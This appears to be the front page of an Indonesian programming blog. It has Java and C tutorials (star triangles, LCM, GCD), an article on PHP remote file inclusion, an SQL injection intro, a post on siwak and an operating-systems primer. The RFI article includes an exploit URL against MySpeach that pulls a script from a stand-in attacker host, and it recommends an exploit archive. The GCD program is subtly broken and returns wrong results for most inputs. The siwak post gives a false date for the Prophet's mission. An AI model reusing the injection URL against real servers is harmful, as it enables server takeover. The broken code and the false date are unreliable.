Program Segitiga Siku – Siku dengan Java , C++

Sehubungan dengan request pembaca blog ini yang ingin membuat program yang bisa menampilkan Segitiga Siku – Siku dengan inputan tinggi segitiga tersebut. Untuk itu, saya bertujuan membagi dengan semuanya tentang hal ini. Bagi yang sudah mahir, mohon sarannya.

Program ini aku buat dengan Java dan C++, jaga – jaga aja.

Java

// Program Segitiga Siku - Siku

import javax.swing.*;

public class segitigaSikuSiku {
    public static void main(String args[]){
        String tinggi = "";
        tinggi = JOptionPane.showInputDialog("Masukkan tinggi segitiga : ");
        int t  = Integer.parseInt(tinggi);

        for(int x=1;x<=t;x++){
            for(int y=1;y<=x;y++){
                System.out.print("*");
            }
            System.out.print("\n");
        }
    }
}

Kode diatas jika dijalankan akan tampak seperti gambar di bawah ini : Continue reading

Mencari Nilai KPK – Java

KPK adalah kepanjangan dari Kelipatan Persekutuan Terkecil.
Yang dimaksud kelipatan adalah kelipatan dari suatu bilangan.
contoh : Kelipatan dari angka 3 adalah 3, 6, 9, 12, 15, … ( dan seterusnya.. )
contoh lain : Kelipatan dari angka 4 adalah 4, 8, 12, 16, 20, … ( dan seterusnya.. )
contoh lagi deh :  Kelipatan dari angka 6 adalah 6, 12, 18, 24, 30 … ( dan seterusnya.. )

Ok, udah ngerti kan tentang arti kelipatan ??

Sekarang yang dimaksud dengan KPK ( Kelipatan Persekutuan Terkecil ) adalah kelipatan dari suatu bilangan tapi yang nilainya paling kecil..
Biasanya soal-soal KPK itu menggunakan dua atau lebih bilangan yang dicari.

Sekarang jaman modern, mengitung hal seperti ini lebih efisien waktu jika ada alat bantu misalnya suatu program yang dapat mencari nilai KPK suatu bilangan. Nah sekarang saya ingin membuatnya dengan menggunkana bahasa Pemrograman Java.

Source dan Hasil KPK

Source dan Hasil KPK

Untuk download lengkap source codenya silahkan klik disini

Program Mencari Nilai FPB – Java

Sudah familiar kah Anda dengan kata Faktor Persekutuan Terbesar (FPB) ?

Pastinya sudah,,,,

Namun, bagaimana cara Anda menghitungnya ??? Masih menggunakan cara lampau kah ??

Ada cara yang lumayan ampuh pake Theory Euclidean yang saya aplikasikan pada salah satu bahasa pemrograman Java, berikut contoh source codenya :

import javax.swing.*;

public class FPB {
public static void main(String[]args){
try{
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
}catch(Exception e){
System.err.print(e);
}

String angka = “”;
int r;
String hasil = “”;

angka = JOptionPane.showInputDialog(“Masukkan angka 2 angka dengan menggunkan spasi sebagai pemisah :”);
String [] masukan = angka.split(” “);

int a = Integer.parseInt(masukan[0]);
int b = Integer.parseInt(masukan[1]);

if(a<b){
JOptionPane.showMessageDialog(null, “Maaf, angka pertama harus lebih besar daripada angka kedua : “);
System.exit(0);
}else{
r = a%b;
if (r==0){
hasil += b;
} else {
while(r>0){
a = b;
b = r;
r = a%b;
hasil += r;
break;
}
}
}

JOptionPane.showMessageDialog(null, “FPB dari “+a+” dan “+b+” angka tersebut adalah “+hasil,”Hasil FPB”,JOptionPane.INFORMATION_MESSAGE);
System.exit(0);
}
}

Dari source di atas,  hasilnya akan tampak seperti gambar – gambar di bawah ini :

Program di atas akan berjalan seperti prosedur yang sudah ditentukan jika Anda input 2 angka dimana angka pertama lebih besar daripada angka kedua. Misal a = 28 dan b = 4. Jika terbalik akan muncul pesan error. Sedangkan jika Anda memasukkan data selain numerik program akan error.

Penjelasan kode di atas :

angka = JOptionPane.showInputDialog(“Masukkan angka 2 angka dengan menggunkan spasi sebagai pemisah :”);
Adalah form input angka yang masih berupa data String

String [] masukan = angka.split(” “);
Adalah fungsi yang memecah inputan tadi menjadi 2 variabel dengan indeks array yang berbeda.

int a = Integer.parseInt(masukan[0]);
Adalah fungsi yang digunakan untuk mengubah / mengkoversi data String menjadi tipe data Integer

JOptionPane.showMessageDialog(null, “Maaf, angka pertama harus lebih besar daripada angka kedua : “);
Adalah fungsi untuk menampilkan pesan hasil dengan JOptionPane

UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
Adalah untuk mengambil settingan theme default dari OS kita

Sekian penjelasan dariku, jika ingin download langsung source codenya, silahkan klik di sini

PHP Injection

Remote file inclusion dapat diartikan sebagai penyisipan sebuah file dari luar suatu file dalam sebuah webserver dengan tujuan script didalam akan dieksekusi pada saat file yang disisipi di-load. Tehnik ini sendiri mengharuskan webserver yang bersangkutan mampu menjalankan server side scripting (PHP, ASP, etc) serta file yang disisipi dibuat menggunakan bahasa script tersebut. Target remote file inclusion biasanya berbentuk sebuah portal atau content management system (CMS) sehingga banyak sekali jumlah website yang rawan terhadap serangan tipe ini.

Dalam artikel ini kita akan lebih banyak membahas bagaimana proses file inclusion (yang selanjutnya kita sebut dengan istilah ‘injeksi’) bisa terjadi dalam bahasa PHP.

° BAGAIMANA BISA TERJADI ?

Sebuah serangan file inclusion terjadi didasarkan pada kesalahan atau ketidaksengajaan pendeklarasian variabel-variabel dalam sebuah file. Sebuah variabel yang tidak dideklarasikan atau didefinisikan secara benar dapat di eksploitasi. Syarat terjadinya injeksi sendiri terdiri dari:

1. Variabel yang tidak dideklarasikan dengan benar (unsanitized variables)

Variabel dalam PHP mempunyai sintaks:

#1 include ($namavariable. “/file…”)
#2 require_once ($namavariable. /file…)
#3 include_once ($variable. /file…)

Misalnya kita memiliki sebuah file bernama jscript.php dan didalamnya terdapat variabel seperti ini:


include($my_ms[”root”].’/error.php’);

Variabel tersebut memiliki kemungkinan untuk disisipi file dari luar webserver dengan eksploit script injeksi PHP:

http://www.target.com/[Script Path]/jscript.php?my_ms[root]=http://www.injek-pake-kaki.com/script?

Diatas adalah contoh eksploitasi MySpeach < = v3.0.2 (my_ms[root])

2. Setting dalam file PHP.ini

#1. register_globals=On
#2. magic_quotes=off
#3. allow_fopenurl=on

° BERBAHAYAKAH ?

File inclusion memiliki level resiko tinggi (High Risk) bahkan level sangat berbahaya (Very Dangerous) karena injeksi memperkenankan pelakunya untuk melakukan eksekusi perintah jarak jauh (Remote Commands Execution) terhadap server. Tindakan ini sangat membahayakan bagi sebuah server jika pelakunya mencoba untuk mendapatkan hak akses lebih tinggi dengan cara melakukan eksploitasi lokal, sehingga bisa saja pelaku mendapatkan akses administrator atau root.

Secara garis besar resiko serangan ini adalah:

1. Web root folder / subdirectory defacing.
2. Previledge escalation (mendapatkan hak akses lebih tinggi).
3. Menjalankan proses dalam server (psyBNC, bots, dsb)
4. Pilfering a.k.a pencurian data (such as credentials information, credit cards, etc..)
5. Dan banyak lagi…!!! Termasuk tindakan pengambilalihan server dan ddos!

° SISTEM OPERASI APA YANG KEBAL ?

Saya teringat permainan C&C Generals (my fave game!) saat seorang hacker keluar dari barak. Mereka mengucapkan “NO SYSTEMS IS SAFE!”. Tepat sekali! Tidak ada sistem operasi yang aman dari serangan injeksi selama mereka menggunakan server side scripting yang dapat dieksploitasi, tak peduli apakah itu Microsoft Windows, LINUX, FreeBSD, Solaris, Darwin OS, dan lain-lainnya.

° APA YANG HARUS DILAKUKAN ?

Banyak sekali portal dan komunitas white hat yang sering merilis bugs terbaru seputar injeksi. Cara paling aman adalah selalu memperhatikan perkembangan yang mereka lakukan sehingga anda dapat melakukan sedikit perbaikan yang berarti terhadap CMS yang mungkin sekarang anda gunakan. Selalu perhatikan raw log yang biasanya terdapat pada layanan hosting anda. Jika terdapat fetching yang agak menyimpang seperti GET /index.php?page=http://www.injek-pake-kaki.net/cmd? anda wajib curiga, karena bisa saja ini serangan terhadap web atau portal yang anda kelola.

Salah satu tehnik paling aman bagi seorang administrator adalah selalu memperhatikan usaha-usaha infiltrasi dan usaha eksploitasi lokal. Gunakan firewall guna mencegah penyusupan orang-orang yang tidak bertanggung jawab dan memperhatikan port-port server yang sedang terbuka.

° ENDING

Artikel ini saya tulis berdasarkan apa yang saya ketahui, dan jika terdapat kesalahan karena ketidaktahuan saya anda dapat menghubungi saya lewat email. Pengalaman adalah guru yang terbaik untuk kita semua. Semua bisa saja terjadi karena tidak ada pribadi yang diciptakan sempurna. Nobody is perfect! No systems is safe!

° REFERENSI

– http://net-square.com/papers/one_way/one_way.html
– www.milw0rm.com (Bagus buat exploit bug)
– www.google.com (Dukun Internet )

Tips Hindari SQL Injection ( SQLi )

Setelah banyaknya bug-bug yang bertebaran di internet dari unicode hingga yang baru-baru ini menggemparkan jagad maya yaitu RPC Dcom, sekarang muncul lagi satu lubang keamanan yang membahayakan sebuah websites. SQL Injection atau dikenal juga dengan SQL insertion adalah sebuah teknik yang digunakan untuk mengeksploitasi database pada suatu websites dengan memaksa keluarnya error page situs itu yang ada error pages itu terdapat info tentang struktur database website yang dieksploitasi. SQL sendiri merupakan bahasa pemrograman database yang sering dipakai para web developer maupun admin sebuah situs untuk menampung ataupun menaruh data-data baru dari suatu input yang masuk seperti input member login, search engine, dan lain sebagainya.
Sebenarnya SQL injection sendiri bukanlah hal baru, dari dulu teknik ini sudah dikenal dalam dunia hacking sebagai salah satu teknik web hacking, namun baru muncul lagi sekarang karena sifatnya yang dapat merusak database dari suatu situs. Teknik yang digunakan dalam SQL Injection adalah dengan jalan menginput perintah-perintah standar dalam SQL (DDL, DML, DCL) seperti CREATE, INSERT, UPDATE, DROP, ALTER, UNION, SELECT dan perintah-perintah lainnya yang tak asing lagi bagi anda yang sudah mengenal SQL secara mendalam maupun yang baru saja belajar. Dari berbagai jenis SQL dari MySQL, PostgreSQL, Nuke SQL, dan MS-SQL, yang paling rentan terhadap SQL Injection adalah MS-SQL. Continue reading

Siwak – Keajaiban Dalam Sunah Nabi

Sejarah Penggunaan Siwak (Salvadora persica)

Penggunaan alat-alat kebersihan mulut telah dimulai semenjak berabad-abad lalu. Manusia terdahulu menggunakan alat-alat kebersihan yang bermacam-macam seiring dengan perkembangan sosial, teknologi dan budaya. Beraneka ragam peralatan sederhana dipergunakan untuk membersihkan mulut mereka dari sisa-sisa makanan, mulai dari tusuk gigi, batang kayu, ranting pohon, kain, bulu burung, tulang hewan hingga duri landak. Diantara peralatan tradisional yang mereka gunakan dalam membersihkan mulut dan gigi adalah kayu siwak atau chewing stick. Kayu ini walaupun tradisional, merupakan langkah pertama transisi/peralihan kepada sikat gigi modern dan merupakan alat pembersih mulut terbaik hingga saat ini.

Miswak (Chewing Stick) telah digunakan oleh orang Babilonia semenjak 7000 tahun yang lalu, yang mana kemudian digunakan pula di zaman kerajaan Yunani dan Romawi, oleh orang-orang Yahudi, Mesir dan masyarakat kerajaan Islam. Siwak memiliki nama-nama lain di setiap komunitas, seperti misalnya di Timur Tengah disebut dengan miswak, siwak atau arak, di Tanzania disebut miswak, dan di Pakistan dan India disebut dengan datan atau miswak. Penggunaan chewing stick (kayu kunyah) berasal dari tanaman yang berbeda-beda pada setiap negeri. Di Timur Tengah, sumber utama yang sering digunakan adalah pohon Arak (Salvadora persica), di Afrika Barat yang digunakan adalah pohon limun (Citrus aurantifolia) dan pohon jeruk (Citrus sinesis). Akar tanaman Senna (Cassiva vinea) digunakan oleh orang Amerika berkulit hitam, Laburnum Afrika (Cassia sieberianba) digunakan di Sierre Leone serta Neem (Azadirachta indica) digunakan secara meluas di benua India.

Meskipun siwak sebelumnya telah digunakan dalam berbagai macam kultur dan budaya di seluruh dunia, namun pengaruh penyebaran agama Islam dan penerapannya untuk membersihkan gigi yang paling berpengaruh. Istilah siwak sendiri pada kenyatannya telah umum dipakai selama masa kenabian Nabi Muhammad yang memulai misinya sekitar 543 M. Nabi Muhammad Shallallahu ‘alaihi wa Sallam bersabda : “Seandainya tidak memberatkan ummatku niscaya akan kuperintahkan mereka untuk bersiwak setiap akan sholat (dalam riwayat lain : setiap akan berwudhu’).” Nabi memandang kesehatan dan kebersihan mulut adalah penting, sehingga beliau senantiasa menganjurkan pada isterinya untuk selalu menyiapkan siwak untuknya hingga akhir hayatnya.

Siwak terus digunakan hampir di seluruh bagian Timur Tengah, Pakistan, Nepal, India, Afrika dan Malaysia, khususnya di daerah pedalaman. Sebagian besar mereka menggunakannya karena faktor religi, budaya dan sosial. Ummat Islam di Timur Tengah dan sekitarnya menggunakan siwak minimal 5 kali sehari disamping juga mereka menggunakan sikat gigi biasa. Penelitian yang dilakukan oleh Erwin dan Lewis (1989) menyatakan bahwa pengguna siwak memiliki relativitas yang rendah dijangkiti kerusakan dan penyakit gigi meskipun mereka mengkonsumsi bahan makanan yang kaya akan karbohidrat. Continue reading

Segitiga Pascal – Segitiga Bintang Versi 2

Menanggapi request dari user yang menginginkan membuat suatu program menggunakan bahasa C dan memakai printf, scanf untuk I/O nya yang dapat menampilkan suatu susunan karakter hingga membentuk suatu segitiga, namun di bagian tengah segitiga kosong. Melalui ini semoga user tersebut bisa terbantu.

Berikut contoh codenya :

#include "stdio.h"
#include "conio.h"

main(){
	int n;
	int a, b=0, c, d, e;
	printf("Masukkan baris : ");
    scanf("%d",&n);
    printf("\n");
	a = n;
    e = n-1;
	for(c=1;c<=n;c++){
		b = 1;
		for(d=1;d<=a;d++) {
			if (b<=e) {
				printf("  ");
				b++;
			} else {
				if(d==b||d==a||e==0)
					printf(" 0");
				else
				printf("  ");
			}
		}
		e--;
		a++;
		printf("\n");
    }
    getch();
}

Hasilnya akan tampak seperti gambar di bawah ini : Continue reading

Windows 1.0 Screen Shot

Sistem Operasi / Operating System

Windows 1.0 Screen Shot

Windows 1.0 Screen Shot

Sistem Operasi merupakan sebuah penghubung antara pengguna dari komputer dengan perangkat keras komputer. Sebelum ada sistem operasi, orang hanya mengunakan komputer dengan menggunakan sinyal analog dan sinyal digital. Seiring dengan berkembangnya pengetahuan dan teknologi, pada saat ini terdapat berbagai sistem operasi dengan keunggulan masing-masing. Untuk lebih memahami sistem operasi maka sebaiknya perlu diketahui terlebih dahulu beberapa konsep dasar mengenai sistem operasi itu sendiri.
Pengertian sistem operasi secara umum ialah pengelola seluruh sumber-daya yang terdapat pada sistem komputer dan menyediakan sekumpulan layanan (system calls) ke pemakai sehingga memudahkan dan menyamankan penggunaan serta pemanfaatan sumber-daya sistem komputer.

Sistem komputer pada dasarnya terdiri dari empat komponen utama, yaitu perangkat-keras, program aplikasi, sistem-operasi, dan para pengguna. Sistem operasi berfungsi untuk mengatur dan mengawasi penggunaan perangkat keras oleh berbagai program aplikasi serta para pengguna.
Sistem operasi berfungsi ibarat pemerintah dalam suatu negara, dalam arti membuat kondisi komputer agar dapat menjalankan program secara benar. Untuk menghindari konflik yang terjadi pada saat pengguna menggunakan sumber-daya yang sama, sistem operasi mengatur pengguna mana yang dapat mengakses suatu sumber-daya. Sistem operasi juga sering disebut resource allocator. Satu lagi fungsi penting sistem operasi ialah sebagai program pengendali yang bertujuan untuk menghindari kekeliruan (error) dan penggunaan komputer yang tidak perlu. Continue reading

Get Different Value in Array with Java

Jika dalam suatu array, lalu di dalam array tersebut terdapat banyak value. Jika di dalam array tersebut ada 2 atau lebih value yang sama, maka fungsi ini akan membantu untuk memilah – milah dan mendapatkan value yang berbeda saja dari suatu array tersebut.

Misal ada array seperti ini ” { “aku”,”dia”,”kamu”,”kamu”,”dia”,”mereka” } “. Nah, bagaimana caranya agar yang tampil nanti hanya aku,dia,kamu,mereka jadi value yang sama tidak akan ditampilkan lebih dari satu.

Seperti ini lah source coudenya ( Java ) : Continue reading